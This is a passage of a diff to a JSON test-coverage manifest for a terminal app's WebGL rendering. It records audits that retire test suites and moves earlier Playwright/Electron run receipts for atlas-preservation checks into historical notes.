(preserved verbatim): Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. Audit1417 intentionally deletes src/renderer/src/components/terminal-pane/pty-connection-hidden-tui-snapshot-replay.spec.ts: Loses rich hidden snapshot sequence replay/grid resize and forced repaint after hidden snapshot alarms, including live-trigger deduplication. No equivalent replacement coverage or fresh result is claimed. Historical coverage account: Audit1342 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Deterministic renderer contracts require foreground renderer-risk, synchronized, hidden, and alternate-screen PTY output to stay on pane-local repaint paths without a global atlas reset. Separate contracts preserve explicit paste, reveal, visibility-resume, system-resume, and confirmed-desync recovery. A macOS Electron run verifies that a document visibility cycle preserves real WebGL atlases and terminal pixels; the candidate has not been rerun against an isolated live paired server. The test-value audit removed registry recovery fanout, visibility, ordering and failure-isolation assertions. The remaining registry test constrains diagnostic sampling only and is excluded from this gate. No equivalent recovery coverage is claimed. Completed settled tab-reveal repaint execution is not covered after removal of pane-reveal-repaint.test.ts. The separate terminal-visibility-resume tests assert mocked scheduling and presentation calls; they do not establish completed repaint execution. Audit1342: src/renderer/src/lib/pane-manager/pane-webgl-context-recovery.test.ts removed. Context resume/reveal retry and deferred rebuild mock-pane alarms disappear. No equivalent replacement coverage is claimed. Audit1391: src/renderer/src/components/terminal-pane/pty-connection-remote-pause-drop-notice.spec.ts reduced. Lose repeated quiet switches avoiding snapshots and legacy host without drop-report capability requesting a snapshot. Retained imported registrar uses fake transport/xterm writes, exercising real gap/restore lifecycle rather than actual terminal rendering. No equivalent replacement coverage is claimed. The existing primary-selector receipt and its claims remain scoped to their unchanged sources; the broad optional command has no new execution result.", + "coveredPlatforms": [], + "coveredProviders": [], + "coverageNotes": "No current executed protection is claimed after E2E layout cleanup. Historical account: Audit3390 composes root-adopted3382/independent3383 and3386/independent3387 and3388/independent3389: intentionally retires216 authored registrations/230 expanded cases in42 whole authored suites plus5 zero-case registration drivers, without equivalent replacement. Lost local alarms include fake PTY identity/routing/startup/replay/mode/title/mouse/IME/scroll matrices, broad startup identity and file-open wiring, mock mailbox title recovery, mobile row parity and whole-v-selective save parity. Retained24 registrations/26 expanded cases in22 suites preserve actual xterm Windows buffer/wrap/scroll, typed TOML scalar, real Promise cancellation/settlement, HTTP Codex scanner/projector semantics, durable recovery admission/newer-schema bytes, federation completion/ACK/SQLite atomicity and failed stale-run-write versus imported durable history. Additional retained clock-domain scheduling, durable freeze/ACK/checkpoint ordering, ABA dirty intent, SQL atomicity, folder-domain retier/last-note deletion, scrollback durable no-sync staging, PanelBridge subscriber lifetime and reserved-send publication preserve narrower concrete behaviors. Current finite owner drift assessed in bounded defining bodies; retained callback bytes unchanged. Historical notes and complete dated receipts keep their original exact scopes. No new execution, equivalent replacement, native focus/device/pixel, live remote or global mixed-version guarantee is claimed. Audit3349 retires the whole terminal-render-desync-sentinel suite, including the same-cells persistence/recovery alarm, without equivalent replacement. Its unit command selector, test-file selector and assertion reference are removed prospectively. Earlier global-effects/window-wake retirements and the retired dated sentinel receipt remain historical verbatim. Two unrelated macOS document-visibility E2E receipts remain verbatim; the frozen static closure does not select changed tests through their literal roots. No fresh GPU/rendered UI, runtime, historical-import, mobile, mixed-version or cross-platform validation is claimed. NEXT46 terminal-owner layout and whole-case policy: src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts, src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-input-and-repaint.test.ts. Complete retired/reduced selectors lose their listed alarms; retained cases have no transferred historical pass or equivalent replacement coverage. Unaffected dated receipts retain only their original exact scopes. This metadata edit is not fresh execution evidence. Historical prior account (preserved verbatim): Audit3335 retires the complete mocked window-wake recovery suite (11 authored registrations/12 expanded cases), intentionally losing fullscreen atlas-preservation, wake callback ordering, deferred-DPR deduplication/repair and private frame-budget alarms without equivalent replacement. The surviving focused selector is unexecuted in this source composition. Unrelated dated receipts keep their original scope; no fresh runtime/GPU/focus, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Audit3326 adopts reconciled source audit3324 and intentionally retires these low-value examples and their regression alarms: recovers visible terminal rendering and input when the window regains focus — Whole suite: fake React useEffect immediately invokes bodies and ignores cleanup/deps; fake useRef/store hooks plus mocked pane manager only assert callback choreography. Does not exercise window focus, actual input or pixels. Retires focus wake wiring alarm.; clears WebGL texture atlases when the OS resumes — Whole suite: same fake-hook harness invokes captured OS resume callback and counts mocked atlas-clear/repaint methods. No GPU, actual OS resume, or real hook lifetime. Retires atlas clear wiring alarm.; preserves WebGL texture atlases when the active terminal document becomes visible — Whole suite: direct fake document visibility listener and mock-call absence/presence under fake hooks cannot establish real WebGL preservation or cleanup. Retires visibility wake wiring alarm.. Retained tests do not replace these alarms. Dated unrelated evidence remains scoped to its original execution; no historical source/import-closure equivalence, fresh execution, real network/provider/SSH, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. Audit1417 intentionally deletes src/renderer/src/components/terminal-pane/pty-connection-hidden-tui-snapshot-replay.spec.ts: Loses rich hidden snapshot sequence replay/grid resize and forced repaint after hidden snapshot alarms, including live-trigger deduplication. No equivalent replacement coverage or fresh result is claimed. Historical coverage account: Audit1342 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Deterministic renderer contracts require foreground renderer-risk, synchronized, hidden, and alternate-screen PTY output to stay on pane-local repaint paths without a global atlas reset. Separate contracts preserve explicit paste, reveal, visibility-resume, system-resume, and confirmed-desync recovery. A macOS Electron run verifies that a document visibility cycle preserves real WebGL atlases and terminal pixels; the candidate has not been rerun against an isolated live paired server. The test-value audit removed registry recovery fanout, visibility, ordering and failure-isolation assertions. The remaining registry test constrains diagnostic sampling only and is excluded from this gate. No equivalent recovery coverage is claimed. Completed settled tab-reveal repaint execution is not covered after removal of pane-reveal-repaint.test.ts. The separate terminal-visibility-resume tests assert mocked scheduling and presentation calls; they do not establish completed repaint execution. Audit1342: src/renderer/src/lib/pane-manager/pane-webgl-context-recovery.test.ts removed. Context resume/reveal retry and deferred rebuild mock-pane alarms disappear. No equivalent replacement coverage is claimed. Audit1391: src/renderer/src/components/terminal-pane/pty-connection-remote-pause-drop-notice.spec.ts reduced. Lose repeated quiet switches avoiding snapshots and legacy host without drop-report capability requesting a snapshot. Retained imported registrar uses fake transport/xterm writes, exercising real gap/restore lifecycle rather than actual terminal rendering. No equivalent replacement coverage is claimed. The existing primary-selector receipt and its claims remain scoped to their unchanged sources; the broad optional command has no new execution result.", "motivatingLinks": [ "https://github.com/stablyai/orca/pull/7054", "https://github.com/stablyai/orca/pull/7604", "https://github.com/stablyai/orca/issues/12094" ], "invariant": "Ordinary PTY output must never clear the shared WebGL glyph atlas, including synchronized frames, hidden output, renderer-risk glyphs, and alternate-screen entry, redraw, or exit. Affected visible panes still receive pane-local refresh after parsing. Explicit paste, reveal, visibility-resume, system-resume, context-loss, and confirmed-desync recovery remain available and may reset visible renderers.", - "oracle": "Audit3390 composes root-adopted3382/independent3383 and3386/independent3387 and3388/independent3389: intentionally retires216 authored registrations/230 expanded cases in42 whole authored suites plus5 zero-case registration drivers, without equivalent replacement. Lost local alarms include fake PTY identity/routing/startup/replay/mode/title/mouse/IME/scroll matrices, broad startup identity and file-open wiring, mock mailbox title recovery, mobile row parity and whole-v-selective save parity. Retained24 registrations/26 expanded cases in22 suites preserve actual xterm Windows buffer/wrap/scroll, typed TOML scalar, real Promise cancellation/settlement, HTTP Codex scanner/projector semantics, durable recovery admission/newer-schema bytes, federation completion/ACK/SQLite atomicity and failed stale-run-write versus imported durable history. Additional retained clock-domain scheduling, durable freeze/ACK/checkpoint ordering, ABA dirty intent, SQL atomicity, folder-domain retier/last-note deletion, scrollback durable no-sync staging, PanelBridge subscriber lifetime and reserved-send publication preserve narrower concrete behaviors. Current finite owner drift assessed in bounded defining bodies; retained callback bytes unchanged. Historical notes and complete dated receipts keep their original exact scopes. No new execution, equivalent replacement, native focus/device/pixel, live remote or global mixed-version guarantee is claimed. Audit3349 retires the whole terminal-render-desync-sentinel suite, including the same-cells persistence/recovery alarm, without equivalent replacement. Its unit command selector, test-file selector and assertion reference are removed prospectively. Earlier global-effects/window-wake retirements and the retired dated sentinel receipt remain historical verbatim. Two unrelated macOS document-visibility E2E receipts remain verbatim; the frozen static closure does not select changed tests through their literal roots. No fresh GPU/rendered UI, runtime, historical-import, mobile, mixed-version or cross-platform validation is claimed. Audit3335 retires the complete mocked window-wake recovery suite (11 authored registrations/12 expanded cases), intentionally losing fullscreen atlas-preservation, wake callback ordering, deferred-DPR deduplication/repair and private frame-budget alarms without equivalent replacement. The surviving focused selector is unexecuted in this source composition. Unrelated dated receipts keep their original scope; no fresh runtime/GPU/focus, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Audit3326 adopts reconciled source audit3324 and intentionally retires these low-value examples and their regression alarms: recovers visible terminal rendering and input when the window regains focus — Whole suite: fake React useEffect immediately invokes bodies and ignores cleanup/deps; fake useRef/store hooks plus mocked pane manager only assert callback choreography. Does not exercise window focus, actual input or pixels. Retires focus wake wiring alarm.; clears WebGL texture atlases when the OS resumes — Whole suite: same fake-hook harness invokes captured OS resume callback and counts mocked atlas-clear/repaint methods. No GPU, actual OS resume, or real hook lifetime. Retires atlas clear wiring alarm.; preserves WebGL texture atlases when the active terminal document becomes visible — Whole suite: direct fake document visibility listener and mock-call absence/presence under fake hooks cannot establish real WebGL preservation or cleanup. Retires visibility wake wiring alarm.. Retained tests do not replace these alarms. Dated unrelated evidence remains scoped to its original execution; no historical source/import-closure equivalence, fresh execution, real network/provider/SSH, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. Historical pre-audit oracle account for changed sources: The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): Parse foreground renderer-risk, synchronized, hidden, and alternate-screen PTY output and require pane-local refresh where needed with zero calls to shared reset-and-refresh recovery. Require the atlas-recovery module to expose only explicit lifecycle entry points, then verify paste recovery. Completed settled tab-reveal repaint is not verified by the remaining unit evidence. Dispatch a visible document visibilitychange and require atlas-preserving wake recovery. Separately, drive an Electron visibility cycle with two real WebGL panes, require zero atlas clears, and retain at least 85% of each pane's baseline ink pixels.", - "commands": [ - "pnpm run ensure:electron-runtime && pnpm exec playwright test tests/e2e/terminal-document-visibility-webgl-recovery.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1", - "pnpm run ensure:electron-runtime && pnpm exec playwright test tests/e2e/terminal-document-visibility-webgl-recovery.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1" - ], - "testFiles": ["tests/e2e/terminal-document-visibility-webgl-recovery.spec.ts"], - "assertionRefs": [ - { - "file": "tests/e2e/terminal-document-visibility-webgl-recovery.spec.ts", - "assertions": [ - "preserves the WebGL atlas and keeps terminal text painted after document visibility resumes" - ] - } - ], - "evidenceRuns": [ - { - "date": "2026-08-01", - "runner": "local", - "platform": "macos", - "command": "pnpm run ensure:electron-runtime && pnpm exec playwright test tests/e2e/terminal-document-visibility-webgl-recovery.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1", - "result": "passed", - "durationSeconds": 18, - "summary": "The changed-spec CI topology retained both real WebGL terminal panes with zero atlas clears after a deterministic document visibility cycle." - }, - { - "date": "2026-08-01", - "runner": "local", - "platform": "macos", - "command": "pnpm run ensure:electron-runtime && pnpm exec playwright test tests/e2e/terminal-document-visibility-webgl-recovery.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1", - "result": "passed", - "durationSeconds": 23, - "summary": "Two real WebGL terminal panes retained painted glyphs with zero atlas clears after a deterministic document visibility cycle. BrowserWindow.hide did not change document visibility in the harness, so the test used its explicit visibility-event fallback." - } - ], + "oracle": "No current executed protection is claimed after E2E layout cleanup. Historical account: Audit3390 composes root-adopted3382/independent3383 and3386/independent3387 and3388/independent3389: intentionally retires216 authored registrations/230 expanded cases in42 whole authored suites plus5 zero-case registration drivers, without equivalent replacement. Lost local alarms include fake PTY identity/routing/startup/replay/mode/title/mouse/IME/scroll matrices, broad startup identity and file-open wiring, mock mailbox title recovery, mobile row parity and whole-v-selective save parity. Retained24 registrations/26 expanded cases in22 suites preserve actual xterm Windows buffer/wrap/scroll, typed TOML scalar, real Promise cancellation/settlement, HTTP Codex scanner/projector semantics, durable recovery admission/newer-schema bytes, federation completion/ACK/SQLite atomicity and failed stale-run-write versus imported durable history. Additional retained clock-domain scheduling, durable freeze/ACK/checkpoint ordering, ABA dirty intent, SQL atomicity, folder-domain retier/last-note deletion, scrollback durable no-sync staging, PanelBridge subscriber lifetime and reserved-send publication preserve narrower concrete behaviors. Current finite owner drift assessed in bounded defining bodies; retained callback bytes unchanged. Historical notes and complete dated receipts keep their original exact scopes. No new execution, equivalent replacement, native focus/device/pixel, live remote or global mixed-version guarantee is claimed. Audit3349 retires the whole terminal-render-desync-sentinel suite, including the same-cells persistence/recovery alarm, without equivalent replacement. Its unit command selector, test-file selector and assertion reference are removed prospectively. Earlier global-effects/window-wake retirements and the retired dated sentinel receipt remain historical verbatim. Two unrelated macOS document-visibility E2E receipts remain verbatim; the frozen static closure does not select changed tests through their literal roots. No fresh GPU/rendered UI, runtime, historical-import, mobile, mixed-version or cross-platform validation is claimed. Audit3335 retires the complete mocked window-wake recovery suite (11 authored registrations/12 expanded cases), intentionally losing fullscreen atlas-preservation, wake callback ordering, deferred-DPR deduplication/repair and private frame-budget alarms without equivalent replacement. The surviving focused selector is unexecuted in this source composition. Unrelated dated receipts keep their original scope; no fresh runtime/GPU/focus, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Audit3326 adopts reconciled source audit3324 and intentionally retires these low-value examples and their regression alarms: recovers visible terminal rendering and input when the window regains focus — Whole suite: fake React useEffect immediately invokes bodies and ignores cleanup/deps; fake useRef/store hooks plus mocked pane manager only assert callback choreography. Does not exercise window focus, actual input or pixels. Retires focus wake wiring alarm.; clears WebGL texture atlases when the OS resumes — Whole suite: same fake-hook harness invokes captured OS resume callback and counts mocked atlas-clear/repaint methods. No GPU, actual OS resume, or real hook lifetime. Retires atlas clear wiring alarm.; preserves WebGL texture atlases when the active terminal document becomes visible — Whole suite: direct fake document visibility listener and mock-call absence/presence under fake hooks cannot establish real WebGL preservation or cleanup. Retires visibility wake wiring alarm.. Retained tests do not replace these alarms. Dated unrelated evidence remains scoped to its original execution; no historical source/import-closure equivalence, fresh execution, real network/provider/SSH, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. Historical pre-audit oracle account for changed sources: The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): Parse foreground renderer-risk, synchronized, hidden, and alternate-screen PTY output and require pane-local refresh where needed with zero calls to shared reset-and-refresh recovery. Require the atlas-recovery module to expose only explicit lifecycle entry points, then verify paste recovery. Completed settled tab-reveal repaint is not verified by the remaining unit evidence. Dispatch a visible document visibilitychange and require atlas-preserving wake recovery. Separately, drive an Electron visibility cycle with two real WebGL panes, require zero atlas clears, and retain at least 85% of each pane's baseline ink pixels.", + "commands": [], + "testFiles": [], + "assertionRefs": [], + "evidenceRuns": [], "runtimeBudget": { "p95Seconds": 60, - "scope": "Historical pre-audit selector budget; changed selectors have no new runtime measurement. Unchanged receipts remain scoped to their own commands." + "scope": "Historical prior-selector budget; changed E2E selectors have no new runtime measurement. Historical pre-audit selector budget; changed selectors have no new runtime measurement. Unchanged receipts remain scoped to their own commands." }, "flakeHistory": { - "status": "unknown", - "evidence": "Changed selectors have no new soak result after Audit1342; any retained unchanged-source receipts apply only to their own commands. Historical account: The focused unit oracle and one local Electron run passed; CI soak history is not yet available." + "status": "not-started", + "evidence": "No fresh soak for changed E2E selectors. Historical account: Changed selectors have no new soak result after Audit1342; any retained unchanged-source receipts apply only to their own commands. Historical account: The focused unit oracle and one local Electron run passed; CI soak history is not yet available." }, "redGreenEvidence": { "status": "missing", - "evidence": "Audit2133 current-parent preparation: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit1342 changed referenced test sources; no new red/green validation of the reduced set. Historical account: Before the change, foreground renderer-risk and alternate-screen PTY writes requested terminal-output atlas recovery after parsing; hidden synchronized/TUI output also drove the same path. The updated oracle spies on that request before its removed 200ms debounce and on the eventual shared reset, while explicit lifecycle recovery remains required. Historical evidence includes assertions subsequently removed in the test-value audit; it does not establish their current coverage." + "evidence": "No fresh red/green execution for changed E2E selectors. Historical account: Audit2133 current-parent preparation: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit1342 changed referenced test sources; no new red/green validation of the reduced set. Historical account: Before the change, foreground renderer-risk and alternate-screen PTY writes requested terminal-output atlas recovery after parsing; hidden synchronized/TUI output also drove the same path. The updated oracle spies on that request before its removed 200ms debounce and on the eventual shared reset, while explicit lifecycle recovery remains required. Historical evidence includes assertions subsequently removed in the test-value audit; it does not establish their current coverage." }, "performanceBudget": { "required": true, - "evidence": "Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. A 120-frame foreground redraw at 300ms cadence produced 13 terminal-output atlas reset cycles before the change and zero afterward over 37.470 seconds. Ordinary PTY output now adds no atlas debounce, retry timer, buffer-switch listener, global manager traversal, provider call, or recurring work; pane-local refresh remains for renderer-risk output. Explicit heavy recovery still touches visible managers only." + "evidence": "Historical prior-selector account; changed E2E selectors have no new performance measurement. Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. A 120-frame foreground redraw at 300ms cadence produced 13 terminal-output atlas reset cycles before the change and zero afterward over 37.470 seconds. Ordinary PTY output now adds no atlas debounce, retry timer, buffer-switch listener, global manager traversal, provider call, or recurring work; pane-local refresh remains for renderer-risk output. Explicit heavy recovery still touches visible managers only." }, "promotionCriteria": [ "Accumulate stable macOS Electron runs with real BrowserWindow visibility transitions.", @@ -11397,7 +10057,12 @@ "Audit3349 historical original commands object, preserved verbatim; retired source claims are not active evidence or replacement coverage:\n\"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/render-health/terminal-render-desync-sentinel.test.ts src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-input-and-repaint.test.ts\"", "Audit3349 historical original testFiles object, preserved verbatim; retired source claims are not active evidence or replacement coverage:\n\"src/renderer/src/components/terminal-pane/render-health/terminal-render-desync-sentinel.test.ts\"", "Audit3349 historical original assertionRefs object, preserved verbatim; retired source claims are not active evidence or replacement coverage:\n{\n \"file\": \"src/renderer/src/components/terminal-pane/render-health/terminal-render-desync-sentinel.test.ts\",\n \"assertions\": [\"persists and recovers after the same cells stay missing twice\"]\n }", - "Audit3390 composes root-adopted3382/independent3383 and3386/independent3387 and3388/independent3389: intentionally retires216 authored registrations/230 expanded cases in42 whole authored suites plus5 zero-case registration drivers, without equivalent replacement. Lost local alarms include fake PTY identity/routing/startup/replay/mode/title/mouse/IME/scroll matrices, broad startup identity and file-open wiring, mock mailbox title recovery, mobile row parity and whole-v-selective save parity. Retained24 registrations/26 expanded cases in22 suites preserve actual xterm Windows buffer/wrap/scroll, typed TOML scalar, real Promise cancellation/settlement, HTTP Codex scanner/projector semantics, durable recovery admission/newer-schema bytes, federation completion/ACK/SQLite atomicity and failed stale-run-write versus imported durable history. Additional retained clock-domain scheduling, durable freeze/ACK/checkpoint ordering, ABA dirty intent, SQL atomicity, folder-domain retier/last-note deletion, scrollback durable no-sync staging, PanelBridge subscriber lifetime and reserved-send publication preserve narrower concrete behaviors. Current finite owner drift assessed in bounded defining bodies; retained callback bytes unchanged. Historical notes and complete dated receipts keep their original exact scopes. No new execution, equivalent replacement, native focus/device/pixel, live remote or global mixed-version guarantee is claimed.\nOriginal active selector fields (historical raw native JSON values; not current coverage):\ncommands: [\n \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-input-and-repaint.test.ts\",\n \"pnpm run ensure:electron-runtime && pnpm exec playwright test tests/e2e/terminal-document-visibility-webgl-recovery.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n \"pnpm run ensure:electron-runtime && pnpm exec playwright test tests/e2e/terminal-document-visibility-webgl-recovery.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\"\n ]\ntestFiles: [\n \"src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts\",\n \"src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-input-and-repaint.test.ts\",\n \"tests/e2e/terminal-document-visibility-webgl-recovery.spec.ts\"\n ]\nassertionRefs: [\n {\n \"file\": \"src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts\",\n \"assertions\": [\"keeps hidden synchronized output off the global atlas recovery path\"]\n },\n {\n \"file\": \"tests/e2e/terminal-document-visibility-webgl-recovery.spec.ts\",\n \"assertions\": [\n \"preserves the WebGL atlas and keeps terminal text painted after document visibility resumes\"\n ]\n }\n ]" + "Audit3390 composes root-adopted3382/independent3383 and3386/independent3387 and3388/independent3389: intentionally retires216 authored registrations/230 expanded cases in42 whole authored suites plus5 zero-case registration drivers, without equivalent replacement. Lost local alarms include fake PTY identity/routing/startup/replay/mode/title/mouse/IME/scroll matrices, broad startup identity and file-open wiring, mock mailbox title recovery, mobile row parity and whole-v-selective save parity. Retained24 registrations/26 expanded cases in22 suites preserve actual xterm Windows buffer/wrap/scroll, typed TOML scalar, real Promise cancellation/settlement, HTTP Codex scanner/projector semantics, durable recovery admission/newer-schema bytes, federation completion/ACK/SQLite atomicity and failed stale-run-write versus imported durable history. Additional retained clock-domain scheduling, durable freeze/ACK/checkpoint ordering, ABA dirty intent, SQL atomicity, folder-domain retier/last-note deletion, scrollback durable no-sync staging, PanelBridge subscriber lifetime and reserved-send publication preserve narrower concrete behaviors. Current finite owner drift assessed in bounded defining bodies; retained callback bytes unchanged. Historical notes and complete dated receipts keep their original exact scopes. No new execution, equivalent replacement, native focus/device/pixel, live remote or global mixed-version guarantee is claimed.\nOriginal active selector fields (historical raw native JSON values; not current coverage):\ncommands: [\n \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-input-and-repaint.test.ts\",\n \"pnpm run ensure:electron-runtime && pnpm exec playwright test tests/e2e/terminal-document-visibility-webgl-recovery.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n \"pnpm run ensure:electron-runtime && pnpm exec playwright test tests/e2e/terminal-document-visibility-webgl-recovery.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\"\n ]\ntestFiles: [\n \"src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts\",\n \"src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-input-and-repaint.test.ts\",\n \"tests/e2e/terminal-document-visibility-webgl-recovery.spec.ts\"\n ]\nassertionRefs: [\n {\n \"file\": \"src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-hidden-replay.test.ts\",\n \"assertions\": [\"keeps hidden synchronized output off the global atlas recovery path\"]\n },\n {\n \"file\": \"tests/e2e/terminal-document-visibility-webgl-recovery.spec.ts\",\n \"assertions\": [\n \"preserves the WebGL atlas and keeps terminal text painted after document visibility resumes\"\n ]\n }\n ]", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-01\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"pnpm run ensure:electron-runtime && pnpm exec playwright test tests/e2e/terminal-document-visibility-webgl-recovery.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n \"result\": \"passed\",\n \"durationSeconds\": 18,\n \"summary\": \"The changed-spec CI topology retained both real WebGL terminal panes with zero atlas clears after a deterministic document visibility cycle.\"\n }", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-01\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"pnpm run ensure:electron-runtime && pnpm exec playwright test tests/e2e/terminal-document-visibility-webgl-recovery.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\",\n \"result\": \"passed\",\n \"durationSeconds\": 23,\n \"summary\": \"Two real WebGL terminal panes retained painted glyphs with zero atlas clears after a deterministic document visibility cycle. BrowserWindow.hide did not change document visibility in the harness, so the test used its explicit visibility-event fallback.\"\n }", + "E2E layout cleanup: original active selector metadata is historical, not current validation:\ncommands: [\n \"pnpm run ensure:electron-runtime && pnpm exec playwright test tests/e2e/terminal-document-visibility-webgl-recovery.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n \"pnpm run ensure:electron-runtime && pnpm exec playwright test tests/e2e/terminal-document-visibility-webgl-recovery.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1\"\n ]\ntestFiles: [\"tests/e2e/terminal-document-visibility-webgl-recovery.spec.ts\"]\nassertionRefs: [\n {\n \"file\": \"tests/e2e/terminal-document-visibility-webgl-recovery.spec.ts\",\n \"assertions\": [\n \"preserves the WebGL atlas and keeps terminal text painted after document visibility resumes\"\n ]\n }\n ]", + "E2E layout cleanup intentionally removes whole CUT registrations without assertion salvage or equivalent replacement. Surviving remapped selectors are unexecuted future work at the future serial parent (actual parent null): {\"commands\":[],\"testFiles\":[],\"assertionRefs\":[]}", + "Historical declared scope before this cleanup: {\"protection\":\"partial\",\"coveredPlatforms\":[\"macos\"],\"coveredProviders\":[\"local\"],\"redGreenEvidence\":{\"status\":\"missing\",\"evidence\":\"Audit2133 current-parent preparation: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit1342 changed referenced test sources; no new red/green validation of the reduced set. Historical account: Before the change, foreground renderer-risk and alternate-screen PTY writes requested terminal-output atlas recovery after parsing; hidden synchronized/TUI output also drove the same path. The updated oracle spies on that request before its removed 200ms debounce and on the eventual shared reset, while explicit lifecycle recovery remains required. Historical evidence includes assertions subsequently removed in the test-value audit; it does not establish their current coverage.\"},\"flakeHistory\":{\"status\":\"unknown\",\"evidence\":\"Changed selectors have no new soak result after Audit1342; any retained unchanged-source receipts apply only to their own commands. Historical account: The focused unit oracle and one local Electron run passed; CI soak history is not yet available.\"},\"runtimeBudget\":{\"p95Seconds\":60,\"scope\":\"Historical pre-audit selector budget; changed selectors have no new runtime measurement. Unchanged receipts remain scoped to their own commands.\"},\"performanceBudget\":{\"required\":true,\"evidence\":\"Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. A 120-frame foreground redraw at 300ms cadence produced 13 terminal-output atlas reset cycles before the change and zero afterward over 37.470 seconds. Ordinary PTY output now adds no atlas debounce, retry timer, buffer-switch listener, global manager traversal, provider call, or recurring work; pane-local refresh remains for renderer-risk output. Explicit heavy recovery still touches visible managers only.\"}}" ], "demotionRule": "Demote if ordinary PTY output re-enters shared reset/refresh recovery, pane-local redraw coverage regresses, ordinary visibility clears the atlas, real WebGL pixels regress, or the focused Electron test cannot remain deterministic." }, @@ -11455,7 +10120,7 @@ "id": "terminal-render.pixel-refresh-repair", "title": "Forced repaint does not change revealed pane pixels", "maturity": "experimental", - "protection": "partial", + "protection": "none", "owner": "terminal-rendering", "layer": "electron-visual-golden", "surfaces": [ @@ -11467,61 +10132,34 @@ ], "platforms": ["macos", "linux", "windows"], "providers": ["local", "daemon"], - "coveredPlatforms": ["macos"], - "coveredProviders": ["local"], - "coverageNotes": "NEXT46 terminal-owner layout and whole-case policy: src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-runtime-snapshot.test.ts, src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-backlog-snapshot.test.ts, src/renderer/src/components/terminal-pane/viewport/visibility/terminal-visibility-resume.test.ts, src/renderer/src/lib/pane-manager/pane-webgl-renderer.test.ts. Complete retired/reduced selectors lose their listed alarms; retained cases have no transferred historical pass or equivalent replacement coverage. Unaffected dated receipts retain only their original exact scopes. This metadata edit is not fresh execution evidence. Historical prior account (preserved verbatim): Audit3335 retires the complete mocked window-wake recovery suite (11 authored registrations/12 expanded cases), intentionally losing fullscreen atlas-preservation, wake callback ordering, deferred-DPR deduplication/repair and private frame-budget alarms without equivalent replacement. The surviving focused selector is unexecuted in this source composition. Unrelated dated receipts keep their original scope; no fresh runtime/GPU/focus, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Audit1948: Audit1944 keeps the two snapshot/imageless restore cases but removes three real-clock delayed-scheduling/null-retry cases from pty-connection-hidden-runtime-snapshot.test.ts. Inactive split 